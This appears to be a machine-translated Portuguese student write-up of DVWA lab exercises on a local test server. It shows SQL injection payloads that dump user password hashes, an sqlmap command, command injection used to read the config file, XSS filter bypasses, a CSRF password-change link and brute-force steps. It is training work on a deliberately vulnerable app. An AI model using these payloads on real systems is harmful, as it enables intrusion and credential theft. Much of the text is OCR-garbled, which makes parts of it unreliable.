Escolar Documentos
Profissional Documentos
Cultura Documentos
1. Quem é o usuário ativo do banco de dados? Nota: O uso de ferramentas automáticas não é
permitido para este exercício.
Identificaç Enviar
ELECT userOl.null - A
ão de
ID: 1' E 'A'='A' UNION SELECT user( )L, null -- Um Nome: admin Sobrenome: admin
Eu usei a carga útil 1' E 'A'='A' UNION SELECT user(),null dentro da string de texto, como uma
diferença para o que foi usado no vídeo explicativo e retornei o usuário ativo no banco de dados.
2. Qual carga útil você usaria para recuperar a versão do banco de dados? Nota: O uso de
ferramentas automáticas não é permitido para este exercício.
3. Qual carga você usaria para recuperar o nome do banco de dados? Nota: O uso de ferramentas
automáticas não é permitido para este exercício.
Primeiro eu envio um pedido na URL (usei o anterior que eu já tinha colocado) para capturá-lo com
o Burpsuite e enviá-lo para o repetidor.
Pedir
J Cru J Params J Cabeçalhos J Hex
OBTER
/DVWA-master/vulnerabilidades/sqli/?id=1%27*20AND%20%27A%27=%27
A%27%20UNIONS20SELECT%20user()U,null%20--*20A&Submit=Enviar
HTTP/1.1
Anfitrião: 127.0.0.1
Usuário-agente: Mozilla/5.0 (xll; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Aceitar:
texto/html, aplicativo/xhtml+xml, aplicativo/xml ; q=0. 9,*/*; q=G.
8
Accept-Language: en-US,en:q=Q.5
Accept-Encoding: gzip. Deflacionar
Cookie: security=low; PHPSESSID=69vevt2nsncdhkln7hsm38mjkO
DNT: 1
Conexão: fechar
Upgrade-Insecure-Solicitações: 1
4. Qual carga útil você usaria para listar todos os usuários (nome de usuário) e senhas (hash) no
banco de dados? Nota: A carga útil não pode exceder 70 caracteres e o uso de ferramentas
automáticas para este exercício não é permitido.
Simplesmente, no repetidor eu faço a consulta de selecionar first_name, senha dos usuários e listar
todos eles com suas respectivas senhas.
/forma-
<PRE>ID: 1 ' E 'A' ='A' UNIÃO SELECIONE
f irst_name , passwo rd de usuários -- A«br /Nome:
adminebr /Sobrenome: admin«/preepreID: 1' E 'A'='A' UNIÃO
SELECIONE first_namesenha H dos usuários -- A«br /Nome :
adminebr /Sobrenome:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Gordonebr />Sobrenome:
e99a18c428cb38d5f 260853678922e03«/p re><pre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Hackebr />Sobrenome:
8d3533d75ae2c3966d7e9d4fcc69216b</pre-spre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome próprio: Pablo«br /Sobrenome:
0dI07d09f 5bbe40cade3de5c7le9e9b7</p re>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Bobebr /-Sobrenome:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome próprio: Aluno«br /Sobrenome:
EB0AL91797624DD3A48FA681D3061212«/Pre- «/div
Sql injection (Blind) é um pouco mais complexo do que sql injection porque se houver um erro no
Payload ele irá retorná-lo para a página em branco, ou seja, ele não retorna nenhum resultado.
Com o Payload id=1 e 1=1 e 1=0 não consigo determinar se há injeção de código, pois ele retorna
as condições true e false. Com a carga id=1' E '1'='1 se eu puder determinar que há injeção do tipo
de texto, pois ele retorna o texto da consulta e com id=1' E '1'='0 ele não retorna para mim. Com
esses dados, podemos determinar que há uma injeção de código do tipo texto.
- NÍVEL MÉDIO
6. Ele usa uma ferramenta para explorar a vulnerabilidade e listar todos os usuários (nome de
usuário) e senhas (hashes) no banco de dados. Que instrução você usou? Qual foi a saída da
ferramenta?
Vou usar SQLmap: -Eu conecto sqlmap com a URL de injeção de sql Blind, eu adiciono o cookie e
um PAYLOAD true (anteriormente executado em dvwa) para me mostrar os bancos de dados
disponíveis.
Eu
-Assim que eu tiver os resultados eu acesso as diferentes tabelas e colunas até chegar aos usuários:
:~# sqlmap -u " http://127.0.0. 1/DVWA-master/vulnerabilidades/sqli blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mj k0" --
data=,,id=l&Submit=Sublnit,' -D dvwa -T users --columns
Resultado:
od107de9f5bbe40cade3de5c7le9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb8B2cf99
8d3533d75ae2c3966d7e0d4fcc69216b
e99al8c428cb38d5f260853678922e03 eb8al91797624dd3a48fa581d3861212
- NÍVEL MÉDIO
8. Qual carga útil você usaria para saber o diretório atual dentro do sistema de arquivos?
Neste nível, os símbolos "&& y;" foram eliminados igualando-os a "", não podemos mais usá-los,
mas ainda temos & y ||.
A carga útil utilizada é:
127.0.0.1 & ls
Ajuda
index.php fonte PING 127.0.0.1 (127.0.0.1) 56(84) bytes de dados. 64Bytes De 127.0.0.1:
icmp_seq=1 TTL=64 tempo=0,011 Ms
Banco de dados: dvwa 3
Tabela: usuários 3
[6 entradas] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3
9. Qual carga útil ou cargas úteis você usaria para encontrar o nome de usuário e a senha do
banco de dados? Dica: Ambos são armazenados no arquivo "config.inc.php".
127.0.0.1 & ls
127.0.0.1 & ls.. /.. / -Aqui eu encontro uma pasta chamada config. Vou ver o que tem lá dentro.
127.0.0.1 & ls.. /.. /config. Aqui está o arquivo que estamos procurando.
Configuração. inc ■ php|
configuração. S.A.; ..php. Dist
PING 127.8.8.1 (127.0.0.1) 56(84) bytes de dados.
Banco de dados: dvwa 3
Tabela: usuários 3
[6 entradas] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3
10. Explora a vulnerabilidade para criar um formulário de login falso. Insira a carga útil que você
usou.
Dentro da caixa de texto, eu digito HTML puro para criar um login falso:
<p>Login</p><br>
- NÍVEL MÉDIO
11. Indique a carga útil que você usaria para abrir um pop-up.
<scr<script>alert("este é um pop-up")</scr</script>ipt>
Em teoria, eu deveria excluir as tags de script completo e deixar as que estão separadas e fazer o
pop-up, mas ele apaga tudo, então, eu adicionei uma foto que quando clicado o pop-up pula.
12. Indique a carga útil que você usaria para incluir um quadro que inclui uma página externa que
ocupa toda a tela, cobrindo a página DVWA completamente.
<ScrIpt>window.location="http:www.google.es"</ScrIpT>
Eu não consegui abrir uma janela acima, apenas abrir uma página.
Tentei abrir um html e um Div verde que ocupava toda a largura e altura da tela, mas não me abriu.
13. Qual é o nome do parâmetro vulnerável no formulário? Inclui um exemplo de como explorar a
vulnerabilidade.
<ScrIpt>alert('popup')</ScrIpT>
A senha será redefinida para "senha" e quem enviou o e-mail falso poderá saber suas credenciais.
- NÍVEL MÉDIO
15. Aproveitando a vulnerabilidade "XSS (armazenado)", use-a para explorar o CSRF e ter a senha
da conta alterada para qualquer usuário que acesse essa página.
127.0.0.1/dvwa/vulnerabilidades/csrf/?password_new=senha&password_conf=senha&C
hange=Alterar#
FORÇA BRUTE
16. Ele indica 3 ferramentas que você pode usar para realizar um ataque de força bruta contra um
formulário de login.
17. Usando uma dessas ferramentas, obtenha a senha dos seguintes usuários. Para fazer isso, saia
do DVWA e ataque o formulário de login do aplicativo. Inclua também as instruções usadas para
iniciar a ferramenta ou uma descrição de como você a usou:
Vou usar Burp e para economizar um pouco de tempo, vou colocar o nome de usuário e senha
entre os sinais para poder dizer que coloquei então na carga útil 1 e 2. Para os usuários, na carga
útil 1 vou colocar os 5 usuários para obter o passe e na carga útil 2 vou colocar uma bateria de
senhas 6 das quais 5 estão corretas para esses usuários.
Como resumo, não é necessário saber o nome de usuário e senha do usuário, simplesmente
colocando um cookie dvwaSession diferente de 0 enters.
- NÍVEL MÉDIO
Eu envio para o sequenciador e faço uma captura ao vivo de 5 ameaças a cada 500 milissegundos.
Eu copio os resultados e vejo que a cada segundo 1 é adicionado ao valor do cookie
1637341480 1637341481 1637341481 1637341481
1637341481 1637341481 1637341482 1637341482 1637341482 1637341482 1637341482 1637341482
1637341482 1637341482 1637341482 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483
Então podemos dizer que o cookie que é gerado tem valor de tempo.
- ALTO NÍVEL
6f4922f4556B161a8cdf4ad2299f6d23 lf0e3dad99908345f7439f8ffabdffc4
98fl3708210194c475687be6106a3b84 3c59dc048e8850243be8D79a5c74d079
b6d767d2f8ed5d21a44b0eS886680cS886680cS886680c0c00c000c000c00c046680c00c00c046680c00c
00c046680c0c00c00c000c000c000c000c000c000c000c000c0000c000c000c0000c000c000c000c000c00
0c000c046680c00c00c046680c00c00c046680c00c00c00c046680c00c00c046680c00c00c00c046680c00
c00c00c046680c00c00c046680c00c00c00c046680c00c00c00c046680c00c00c00c046680c000c000c00c
046680c000c000c046680c000c00c046680c00c00c046680c000c00c046680c000c00c000c0046680c000
c046680c000c000c046680c000c00c046680c00c000c046680c00c000c046680c00c00c000c046680c000
c00c046680c000c04680c000c000c04680c000c04680c000c000c046680c000c000c046680c000c000c04
6680c000c0468006680c00c000000c00000c06680c000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
33e75ff09dd601bbe69f351039152189 6ea9ablbaa0efb9el9094440c317e21b
34173cb38f07f89ddbebc2ac912 8303f cl6a5320fa475530d9583c34fd356ef5
6364d3f0f495b6ab9dcf8d3b5c6e0b01
Ou seja, o cookie aumenta em 1 a sessão como no nível baixo, mas criptografado em MD5
OUTRO
21. Há uma funcionalidade oculta no aplicativo, você a encontra? Inclua uma captura de tela
mostrando a nova funcionalidade carregada no navegador da Web.
22. Descreva o que você está fazendo ao longo do próximo vídeo. Vá descrevendo os passos
desenvolvidos anotando em minuto/segundo o vídeo em que são feitos.
https://www.youtube.com/watch?v=40iLfdRwM8U
- 00:40 O usuário ativo insere uma condição True para que não afete a consulta e retorna a
primeira consulta que é id=4.
- 00:54 O usuário insere uma condição falsa, portanto, a consulta não retorna nenhum
resultado.
- 1:15 O usuário insere a carga útil id=4 ou 1=1 para listar todos os usuários no banco de
dados.
- 1:43 O usuário abre o sqlmap inserindo a URL vulnerável para fazer uma injeção automática
de sql.
- 2:18 um DUMP é feito para despejar todo o conteúdo da tabela de usuários. Porque a
consulta é feita nessa tabela na Web.
23. Liste todas as ferramentas que você usou para realizar os exercícios e explique onde você
as usou